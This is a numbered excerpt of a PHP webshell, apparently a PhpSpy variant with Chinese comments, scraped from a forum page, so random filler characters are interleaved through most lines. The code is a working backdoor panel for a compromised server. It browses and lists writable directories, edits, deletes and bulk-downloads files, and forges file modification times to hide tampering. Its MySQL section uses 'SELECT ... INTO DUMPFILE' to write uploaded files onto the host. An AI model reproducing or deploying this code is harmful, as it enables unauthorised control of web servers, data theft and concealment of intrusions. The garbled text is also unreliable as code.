  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");) d/ ~- f7 Z1 p. ~' s! \7 W' H
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    ! R- N( g- }4 D* J3 q$ C# z
  328.                 }
    6 ~5 X" ?7 O4 r$ `; R8 R, o
  329.         }8 w5 U9 T2 O3 {5 [# |

  330. 8 q; M; R/ m, \* N. X
  331.         // 打包下载2 z+ Z/ p. l% l' b0 }8 G2 ?
  332.         elseif($doing == 'downrar') {" m+ y( c1 U6 o0 `2 G
  333.                 if ($dl) {
    + T# M3 Y# u, ~* \
  334.                         $dfiles='';
    / l3 P0 w; y1 d% T  A( i6 ~- {1 T
  335.                         foreach ($dl as $filepath => $value) {/ g+ b! C3 J; ~* V6 R% k
  336.                                 $dfiles.=$filepath.',';# r) `  I, T# F- K: D
  337.                         }
    & s) r9 E+ y. \' q
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);2 i# _  T, R( j1 y( x
  339.                         $dl=explode(',',$dfiles);7 q6 _" ^. P% J7 C4 M" C
  340.                         $zip=new PHPZip($dl);
    8 P: ^; `1 y. Z# a
  341.                         $code=$zip->out;0 p" G: F2 o/ q. V/ v7 `+ f! V
  342.                         header('Content-type: application/octet-stream');. R/ x/ f3 s7 F  @* Y+ ~2 P
  343.                         header('Accept-Ranges: bytes');1 a# F3 ?5 u% p( u# o/ p
  344.                         header('Accept-Length: '.strlen($code));# |3 c( O3 E; h/ j  v& H! w
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    8 i  V& m' f5 h  T
  346.                         echo $code;& t$ R1 e; h( a# ^
  347.                         exit;
    4 y& C: z* b+ P( j7 b( p0 x! d/ }
  348.                 } else {
    / W# r0 J# t1 q
  349.                         m('Please select file(s)');0 l2 h# Y9 F2 [4 G0 J- i' z4 M
  350.                 }
    * F& E( K! q; X
  351.         }
    " e% H+ I6 M$ E; K  D

  352. ; z& n8 z1 r7 B3 c0 d# n+ x
  353.         // 批量删除文件4 Y/ N5 L/ `; r% \& c+ o; S
  354.         elseif($doing == 'delfiles') {
    3 `- e) K* Z& `4 O# w) z& y
  355.                 if ($dl) {" z9 d% F; U& r4 t: J; O
  356.                         $dfiles='';
    8 v! C, l: g1 G
  357.                         $succ = $fail = 0;& A+ S5 K5 E# ~
  358.                         foreach ($dl as $filepath => $value) {$ J" g8 I# \' Y
  359.                                 if (@unlink($filepath)) {. ^4 u. P# Y% u3 _/ v/ [1 N, v0 g
  360.                                         $succ++;' b1 I) }' v/ g1 n0 y
  361.                                 } else {
    8 C6 u# |7 t0 O8 \/ K! i
  362.                                         $fail++;0 f& g7 ?, I! f% ]
  363.                                 }5 G1 v9 l  i) b2 y" ~# ]
  364.                         }+ T3 b4 ~0 p& u2 X" O$ q5 L, l
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
    & H7 d8 c2 T8 }+ l& L; D( N( l
  366.                 } else {
    3 ^$ G5 D4 r! I$ u7 r) b
  367.                         m('Please select file(s)');0 s* M) b3 P+ ~7 w8 I# I
  368.                 }/ b/ W8 E3 h% s( T* }9 z7 A3 h
  369.         }  A/ X' o8 Z' l: L1 t$ O& x4 z/ p
  370. , Z. S% }8 D# P8 @6 L: ]8 U
  371.         //操作完毕
    & w% U7 F0 l5 e7 J
  372.         formhead(array('name'=>'createdir'));; ?9 ~% H7 k, T% h, y
  373.         makehide('newdirname');
    % s6 y: V4 }$ b6 A0 R" [8 o1 v( u/ e
  374.         makehide('dir',$nowpath);+ Q1 |" W) H4 b
  375.         formfoot();( N  B# k. N: y% D4 j+ C2 v
  376.         formhead(array('name'=>'fileperm'));! H9 v' ?' I2 H! q
  377.         makehide('newperm');3 c, H1 N+ ]: j; E$ x/ b; `1 b
  378.         makehide('pfile');
    6 D0 h" S- `7 o
  379.         makehide('dir',$nowpath);
    ) x: r$ K0 l; b5 l) |2 {1 r. O
  380.         formfoot();
    2 Z' k- }5 a( {+ f' w8 p- `6 T% ^
  381.         formhead(array('name'=>'copyfile'));" f2 o/ `2 N) E; S+ ^) \
  382.         makehide('sname');9 i/ {, _  d9 ?+ E1 U
  383.         makehide('tofile');4 j5 U' |% ?1 F# L
  384.         makehide('dir',$nowpath);
    3 y( T7 ]/ C9 t$ [
  385.         formfoot();9 d9 b5 h9 m: F: H' c$ P
  386.         formhead(array('name'=>'rename'));
    0 _8 x8 _, m6 v3 K; f$ L8 K* i7 y! S
  387.         makehide('oldname');
    , ]) c2 L1 Y1 v. b2 K+ a
  388.         makehide('newfilename');
    $ g" U' J* b) S& f6 n+ i$ G
  389.         makehide('dir',$nowpath);6 c# ^4 b. `$ c. \# z
  390.         formfoot();. X2 h4 b9 _! m$ C
  391.         formhead(array('name'=>'fileopform'));$ H" K% N6 F1 T2 K/ i/ D2 X% @
  392.         makehide('action');
    ' ?  a: I) N: y# h5 k( F
  393.         makehide('opfile');
      A2 Y# U& G6 i; B. _4 }4 o  u; P
  394.         makehide('dir');9 U' r+ x- ?1 W/ h* p. Z
  395.         formfoot();  H0 |' S0 b# J% e
  396. * O: x1 [( V* p. `- b( ]5 W+ B) v: O
  397.         $free = @disk_free_space($nowpath);, J6 b9 J# D3 ?  x1 |
  398.         !$free && $free = 0;# C& z* \3 ]( K% b' }
  399.         $all = @disk_total_space($nowpath);0 i% K6 x! C0 P, |9 |9 t. g2 Q& N
  400.         !$all && $all = 0;
    % p* c( W% r8 X; J' m% T
  401.         $used = $all-$free;
    : [; T5 ?# E  s* P
  402.         $used_percent = @round(100/($all/$free),2);: a3 T- R( s6 q
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    % X# n& z# ]. C. _) M' r6 X
  404. & N" N# v8 e- G& z* s& e2 z( ~
  405. ?>
    . Q$ C- `. S' Q, F- w' ^
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    0 D0 U3 M. ~* }. g$ C3 L
  407.   <form action="" method="post" id="godir" name="godir"># l8 F+ ~2 o' B. R  T6 U( H) ?
  408.   <tr>
    4 s0 h, @6 Y/ x6 @' D
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    2 h8 A( R: W9 M
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    6 B0 R) }. d" i. z9 ]
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>: d$ u' T2 m8 W7 t2 N) R
  412.   </tr>1 {, Z, J+ e0 j
  413.   </form>) I: N% a- \7 V4 B! X  x
  414. </table>& _: R, l2 F1 Q, s
  415. <script type="text/javascript">
    % k& L& T: K* W( m# C
  416. function createdir(){
    : b1 }3 p8 @: _6 b! }
  417.         var newdirname;
    + o1 s- Y+ O$ D9 Z5 q
  418.         newdirname = prompt('Please input the directory name:', '');
    ; t& F" |& ~2 {  V; I( G; S( W! f
  419.         if (!newdirname) return;; O7 f: O! h+ ^9 s
  420.         $('createdir').newdirname.value=newdirname;
    5 n- G- h$ A( ]. W; S
  421.         $('createdir').submit();% U; E- q! y5 n) k/ n( q
  422. }5 w! u6 m& K: x' Q' V2 ?& O: N7 o
  423. function fileperm(pfile){
    8 D; u$ X4 @; M9 W7 t
  424.         var newperm;. a+ o, Z; K7 N8 D% |
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');5 U9 ~$ n3 A2 N+ n2 j% b  x  {) \
  426.         if (!newperm) return;$ |' [6 z% `- j2 C# q
  427.         $('fileperm').newperm.value=newperm;7 s$ t; k. |9 q, g$ P
  428.         $('fileperm').pfile.value=pfile;% r6 H; Q7 _6 m# C/ G
  429.         $('fileperm').submit();
    " [. t/ [0 h4 o( S
  430. }
    & w; f5 a. A+ O3 y2 Q& V+ V
  431. function copyfile(sname){3 v) x3 ]3 Z& T! t! {
  432.         var tofile;2 C: C: H# @: o+ C, h3 I
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    " O4 C# X6 b0 T( m5 K' m3 Y' m* C
  434.         if (!tofile) return;
    ) Z7 d+ B% q9 u; q' J: T- ?+ T6 G
  435.         $('copyfile').tofile.value=tofile;
    # i2 A8 E( @( N
  436.         $('copyfile').sname.value=sname;
    7 N, x8 P; d# x4 Y6 T- ~
  437.         $('copyfile').submit();
    5 X  w. \' v( F6 M7 O* K
  438. }; ]# |! {: L9 U( }( V/ f+ ~
  439. function rename(oldname){
    1 @$ [/ I4 W3 H* ~# b  f
  440.         var newfilename;( _) X% [8 m, ]( n0 N
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');7 @: s& [3 w" b6 D# U- Y# a
  442.         if (!newfilename) return;
      a( w- g, j% y$ B; @- g. U
  443.         $('rename').newfilename.value=newfilename;
    0 C4 b9 p3 L5 w; s; D
  444.         $('rename').oldname.value=oldname;; ]( H. ?. j: x0 c  G; k7 o/ q6 z1 H
  445.         $('rename').submit();& `9 ]/ v% d* `
  446. }
    + ?' D1 w8 l6 {( q$ K/ x6 r8 G
  447. function dofile(doing,thefile,m){
    8 V4 r( P6 U; e) C: j* Y+ _  S
  448.         if (m && !confirm(m)) {3 I8 S' v& Z7 A
  449.                 return;! Q8 `, H4 @. C0 R* }
  450.         }
    * s, }5 c1 x" _  t# ]2 y  x) w' d+ V; t
  451.         $('filelist').doing.value=doing;3 }" v+ R' ]1 O$ L' t. O0 V/ l! S) T
  452.         if (thefile){
    - c3 i8 G, P: \, w5 E4 u) t
  453.                 $('filelist').thefile.value=thefile;
    9 Y& Z  m$ |* T0 J
  454.         }$ I0 C8 ~- S6 H0 H
  455.         $('filelist').submit();
    2 {) ~% z: w) Z; z, t
  456. }
    + f& Q- T- f5 z6 g% ~/ R
  457. function createfile(nowpath){
    ; F; V1 g1 b" [" Z( f+ b8 H
  458.         var filename;8 ?0 Z+ Y7 E1 g( J! g, g/ L
  459.         filename = prompt('Please input the file name:', '');5 P. L* W8 H; q( c$ t% q" W& m
  460.         if (!filename) return;, s( ]. [7 J7 k" P+ A2 _0 x; j
  461.         opfile('editfile',nowpath + filename,nowpath);
    9 k9 e1 q' I- I4 P3 b, `. `
  462. }# s, I- G! G: C, v# E; ~+ q
  463. function opfile(action,opfile,dir){
      I' k* ~/ X% a# Y1 t
  464.         $('fileopform').action.value=action;
    1 }6 y# j" e, Z6 {: ]) j( D2 N
  465.         $('fileopform').opfile.value=opfile;
      ]* S4 p3 w4 b( M6 O- _& ~2 [
  466.         $('fileopform').dir.value=dir;1 [8 X+ D8 n" V# \- g
  467.         $('fileopform').submit();/ l8 j! {9 H) F+ I
  468. }+ m; c1 U! V1 N) k; \
  469. function godir(dir,view_writable){% L% M- W  z9 V7 K1 L8 |* c  B& c
  470.         if (view_writable) {4 }' g1 x9 s- \5 l9 ^2 [- J- F
  471.                 $('godir').view_writable.value=1;
    ) E8 g& M% M# M: m8 Z" a, y
  472.         }/ c% N; s: g2 z& z- k; r1 I- _* x  ?
  473.         $('godir').dir.value=dir;
    1 Y- A# Y- X: ^0 m8 _
  474.         $('godir').submit();
    & \& b$ x9 i& O( O( S! X/ }
  475. }
    . {1 z5 @( j3 K8 W- R
  476. </script>
      h: E# f& i% S1 a) c( K3 n5 y; v
  477.   <?php- m/ U/ G0 s$ y6 i& W* j
  478.         tbhead();
    ; \4 i* m7 r; k* T
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');0 E4 B' v" |' h. |. R' y; L( b0 V
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
      F2 K" }7 x1 ]4 D$ O, i% E
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    ! ]; y5 ?/ M4 s% C4 w
  482.         if ($view_writable) {
    ( i6 {- o- [7 R# @
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');! ~5 A! B' V- j, L6 t
  484.         } else {$ e, I+ K7 S* }3 [5 o2 o+ E& B
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    * L: J. U6 T6 [3 g
  486.         }
    # h6 L* T& O( ~9 x+ i9 m* }
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');( c, L* o0 i/ `1 Y- B$ [" R
  488.         if (IS_WIN && IS_COM) {
    5 L/ j# n# u: }* G# ?. P8 Z
  489.                 $obj = new COM('scripting.filesystemobject');3 o6 y. [% P! e1 _) o. S
  490.                 if ($obj && is_object($obj)) {
      N. e7 s: i2 t* \8 C9 |3 ]) V
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');1 K( ~+ K  I" M4 ^8 L* x
  492.                         foreach($obj->Drives as $drive) {
    - m, Q2 a6 I6 X( M5 p5 m/ b
  493.                                 if ($drive->DriveType == 2) {
    + ~( X" E" l; B+ S
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    1 N3 l( x: B5 Q% j: m
  495. Free:'.sizecount($drive->FreeSpace).'
    , E( e/ R- T; {9 V
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    ( ^6 C* _0 a/ f! F/ s
  497.                                 } else {# Z) n6 Y. Q( k3 P/ \( O) O
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');* m" G4 Q4 t, b  l3 W
  499.                                 }
    , p; p# F4 r8 A
  500.                         }
    1 s4 h% _" f0 A( \* W* O1 W
  501.                 }
    . }. ]; u. {- x8 V+ N
  502.         }
    2 c/ c5 a1 G/ K% b3 o9 u2 v% W

  503. 9 t. R, H9 j2 W+ M1 n  t
  504.         p('</td></tr></form>');
    . e* p0 @+ }, v: j1 P8 Q6 {8 k

  505. ! Q9 _) ]  ]# I" A
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');0 m9 U* x+ }5 A6 A

  507. % V: N0 i6 g7 j# @; \* W2 n+ N
  508.         //查看所有可写文件和目录5 M. Q5 Z) ~! F' Z+ [! o+ y" ^. f
  509.         $dirdata=array();
      B, O/ K: N$ {( U4 B
  510.         $filedata=array();
    . _3 s5 X5 O( N# t/ I, s

  511. - ]6 i# E) ^( p
  512.         if ($view_writable) {
    , z7 I% X" H& d9 e; l
  513.                 $dirdata = GetList($nowpath);
    " u; [. d; O; P  e+ J3 n' z
  514.         } else {4 u( O* e+ R* r
  515.                 // 目录列表
    0 V" Z& m* D) L3 `2 m7 H9 S* t
  516.                 $dirs=@opendir($dir);
    + C, v. r2 v+ A# V
  517.                 while ($file=@readdir($dirs)) {
    6 o; X+ u9 H0 n& `; |
  518.                         $filepath=$nowpath.$file;
    ; I1 p/ N6 I1 Y, v
  519.                         if(@is_dir($filepath)){
    " T  [& `& p# j7 Y7 j
  520.                                 $dirdb['filename']=$file;
    ; F3 ], E$ e: q  `( U
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));* E6 D( _' Y2 r( G
  522.                                 $dirdb['dirchmod']=getChmod($filepath);1 V; q7 ]# h8 c& ^
  523.                                 $dirdb['dirperm']=getPerms($filepath);+ `: k" T5 d8 x# U) r. e
  524.                                 $dirdb['fileowner']=getUser($filepath);
    & C+ `! G" Q0 X. _
  525.                                 $dirdb['dirlink']=$nowpath;
    ' a1 E4 _) ~" e
  526.                                 $dirdb['server_link']=$filepath;$ ~, d& ~1 d0 ~- N
  527.                                 $dirdb['client_link']=ue($filepath);4 X3 T) f2 h. H5 |' c2 }
  528.                                 $dirdata[]=$dirdb;
    . R( |. o* I$ s& C9 o% h: y" L
  529.                         } else {                " V5 v8 s/ N3 B0 }: d2 y
  530.                                 $filedb['filename']=$file;' S9 y4 X" d; A. }" G! x& u
  531.                                 $filedb['size']=sizecount(@filesize($filepath));5 ~7 R3 E- `" Q8 m$ O) q
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ P! ?4 T) w$ j& f6 M
  533.                                 $filedb['filechmod']=getChmod($filepath);. {* T. I% I8 C: K+ p
  534.                                 $filedb['fileperm']=getPerms($filepath);
    8 D7 F4 |' @' z# }: F
  535.                                 $filedb['fileowner']=getUser($filepath);
    - k/ E* F- Y9 R3 X3 D! i# j+ B
  536.                                 $filedb['dirlink']=$nowpath;9 R9 n/ ]! c3 Q+ P1 B* ~
  537.                                 $filedb['server_link']=$filepath;
    , Z( z0 m: o2 w
  538.                                 $filedb['client_link']=ue($filepath);
    3 N2 U4 o+ O0 D# v# S" x2 }' a- @
  539.                                 $filedata[]=$filedb;+ r4 `! i+ h6 G0 H# x* i- [# U
  540.                         }; N8 A9 ~) e& o8 g% J1 b+ p
  541.                 }// while7 n' Z- p$ X& }$ S3 p, m  w
  542.                 unset($dirdb);
    # P/ m; c3 A4 l% b: s3 u2 o
  543.                 unset($filedb);
    / b0 O+ `. u: H2 ]
  544.                 @closedir($dirs);
    " u2 n! n* |5 M; T( }2 N
  545.         }
    + [4 b5 s& e( Y
  546.         @sort($dirdata);5 B& K7 y. Y: ?. z) N
  547.         @sort($filedata);
    + K/ a5 o& n* C# C
  548.         $dir_i = '0';6 D! |) @3 ^9 A- f& p
  549.         foreach($dirdata as $key => $dirdb){# W2 x9 K$ A! s2 t- Q8 ?- W) R
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    * _  ^1 T2 S4 Z3 x1 Q/ `
  551.                         $thisbg = bg();
    8 G* }# I4 c* W; @3 m4 @
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');5 v8 A7 z2 w' J& y4 X5 E! ~( E9 j
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    9 @' y' ^. G6 l2 H- N6 p
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    0 O/ O3 r" f& u! u
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    0 }2 f" r4 Z- B$ J; V
  556.                         p('<td nowrap>--</td>');
    $ p% t& S7 v. ^2 }
  557.                         p('<td nowrap>');
    & p& _/ `4 g% q8 A# d
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');8 F" R3 J: u- D& q9 M
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    / G" a% [+ c7 q7 d6 _
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    3 u+ t" w! s$ m* ]% P
  561.                         p('</tr>');$ h9 A$ c) j6 t( C% _4 B
  562.                         $dir_i++;
    ) ~) d  j9 c. `
  563.                 } else {
    - t. V2 |3 A' J& u1 @. F+ X* `
  564.                         if($dirdb['filename']=='..') {
    ; Z  d8 \( {& U6 Q
  565.                                 p('<tr class='.bg().'>');
    ! N/ ~. R0 q. H' T1 b  H) i
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');; X# f& J9 u( k$ I0 C$ P% F
  567.                                 p('</tr>');' F% u; U  K! g1 Y7 Q; f  Z. H
  568.                         }
    7 {2 O1 }# {/ k, S6 S# B
  569.                 }
    ) M+ P( I  D* A. `& I8 A
  570.         }
    , t. k0 a6 D. j% B) K5 H9 W
  571. 2 `* y* r! c0 N: v, K
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    ( V: |0 S# Y( J9 E7 G
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');6 m: T$ x% A9 K) Y5 v% p
  574.         makehide('action','file');* E$ `3 _- `7 D0 ?9 I
  575.         makehide('thefile');1 |, ?+ h0 H9 s9 T% q+ G7 x
  576.         makehide('doing');0 H- _5 m+ e' \# v5 f4 Y' d' Z
  577.         makehide('dir',$nowpath);( k' d8 w3 E& G3 T% v
  578.         $file_i = '0';% d& E1 A' N6 F! e0 Y! y1 f: N
  579.         foreach($filedata as $key => $filedb){7 M; c- L# D) U! S+ k8 g  [8 R1 K
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    6 }- j9 V" r) I1 q
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);" h+ I- \; L( h. H  c
  582.                         $thisbg = bg();2 Z1 K7 x4 H7 W; |
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    . u& k: E- U) _3 Q4 ~2 l
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    0 t+ V: ?9 |6 k' b  b. h
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');7 C% \' q3 Z/ ]/ |! u5 u& E
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');& L+ @3 k; c; A; E& ~" l& T7 b
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    9 }, y8 `; D& a; c- M8 @
  588.                         p('<td nowrap>');$ o$ B  @4 ?& M# p+ y
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    8 Z, Q$ N6 K6 U- T
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    4 u0 J$ D. {+ S5 ]8 C! g
  591.                         p('<td nowrap>');1 o4 D) X2 H4 Z5 K" W) u6 A/ d, L
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');# Y" X* b4 A# {2 P$ R2 D7 J1 F
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    2 w* s  F* _6 ?
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');+ \0 \! x$ d; h7 V6 n! ~
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    " l& i3 x5 V, W- r
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');" v( y! L& G8 a' t* b
  597.                         p('</td></tr>');9 Z, H4 k* b6 m1 i; e2 Q
  598.                         $file_i++;
    ) c" e$ O; Z8 U5 e0 N
  599.                 }
    ( z" K' x- M: s- w! n4 V0 w
  600.         }% q3 P2 @" b2 B
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    0 o* @4 ?5 b2 h; b7 t( q6 _. E' N$ S" f
  602.         p('</form></table>');2 X+ Q% b0 L& A$ O* G$ f+ j7 y
  603. }// end dir
    - K& U$ D, H2 Z0 i& p5 ^- k
  604. ) s4 E  k4 i& {$ T) Y+ @
  605. elseif ($action == 'sqlfile') {
    ) G: `. T+ P/ T, Y! V9 z  z7 s$ R
  606.         if($doing=="mysqlupload"){- ?5 T  Y& w% w* B$ G" e1 p! G
  607.                 $file = $_FILES['uploadfile'];+ O  y5 x4 D- Z  i1 u
  608.                 $filename = $file['tmp_name'];
    0 d. C5 I" u# d+ h0 f
  609.                 if (file_exists($savepath)) {
    $ o  @$ a* \6 B% |8 W1 R5 _( `# x
  610.                         m('The goal file has already existed');
    # [; h7 j5 Y) d! c4 e$ J% j4 }
  611.                 } else {
    ; k: B4 C* G. {% A! j' s
  612.                         if(!$filename) {
    . {& ^; h5 \0 Q2 z. r+ k
  613.                                 m('Please choose a file');, j& s* f/ [8 M0 p
  614.                         } else {
    , }2 b# ]/ Y! x+ G
  615.                                 $fp=@fopen($filename,'r');3 A$ X5 A, t' M; w) O: ?7 L- H
  616.                                 $contents=@fread($fp, filesize($filename));; l& S% ]7 @5 _5 A& o
  617.                                 @fclose($fp);
    9 Q8 V: o& J9 W8 I& O
  618.                                 $contents = bin2hex($contents);& X& O: p& O  X8 V/ j/ |- `* r/ M
  619.                                 if(!$upname) $upname = $file['name'];2 Z1 m, z: b' j6 e! J( `4 ~
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    5 U* u4 E6 B5 Z* }0 w
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");+ e6 @* S3 f  ^; `9 |0 m
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
    - ~5 r8 T4 n* j* S0 X5 ]( l
  623.                         }4 o, x3 N+ w2 g* d/ l7 |
  624.                 }2 g4 U) A! S: i2 b- I
  625.         }
    ) P4 k0 N# q- ]7 S' \
  626. ?>. l% H- F6 r2 n% X/ Q
  627. <script type="text/javascript"># ?: c/ M7 n% L, ~# X% {' [
  628. function mysqlfile(doing){
    9 T) k& q# g. D" p
  629.         if(!doing) return;0 ^- B& f+ R7 m
  630.         $('doing').value=doing;% i  r& [0 r4 c! _+ p# k' }; L# \
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;. W% `; i5 ^8 S( v
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;4 w+ {, P8 g) S# [- X
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    * e5 q' U, c1 ]  \
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;; [, |6 k. E9 P
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    * S8 k3 M- P8 I  N5 ?6 b# o
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    8 j/ V( p. x/ l7 a0 S) a$ }3 E
  637.         $('mysqlfile').submit();
    9 |; X1 S  ]& L; v; i
  638. }
    9 o) k3 q" W* B
  639. </script>
    6 N) f. S  l9 E* b, K3 O
  640. <?php. S, \8 B# i! t+ S% M% Q
  641.         !$dbhost && $dbhost = 'localhost';9 |6 `. T' _- p  L" B
  642.         !$dbuser && $dbuser = 'root';
    5 \4 k" n0 _, l# G+ |' |
  643.         !$dbport && $dbport = '3306';
    # u( ]2 R: Z8 N) S* u
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');, v* |) O  O. P. L7 V/ P
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));, m1 ~6 t- Y4 D% B
  646.         makehide('action','sqlfile');# n2 I3 {5 X& g1 E
  647.         p('<p>');
    4 V$ Z% v/ `% Q9 a2 u* A* i$ v
  648.         p('DBHost:');1 |3 b& m, T8 r4 B) `' z
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));1 n& o0 D0 |2 H2 m- s
  650.         p(':');
    / g& l- S' ?. Q6 ?
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    # \  n9 y3 d  ^2 |! Q: l
  652.         p('DBUser:');
      V; ]8 G( X0 j: E% W! n" h
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));/ I+ L0 C; @; P7 X. y3 m9 E% _
  654.         p('DBPass:');$ Z$ j% A/ \9 F/ E
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    + T- n- H1 H" C6 y: e8 ?6 b
  656.         p('DBName:');
    1 ~  \% H" ]) E5 m" @
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));! Y' G, G6 }  ]5 g' N' A5 D
  658.         p('DBCharset:');
    6 `3 {$ Q  _9 f6 v7 J: Y2 x2 @
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));5 |& G' s. ?" S. @
  660.         p('</p>');
    9 l" P6 m2 L3 f! m* V/ _
  661.         formfoot();
    5 W# n6 t. R& O, W
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');. u0 }6 k1 O! v/ i! u4 B7 @
  663.         p('<h2>Upload file</h2>');
    3 e: m3 Z$ Q) b! u6 I
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');, f$ r+ t4 Y0 E6 O% b, b" O
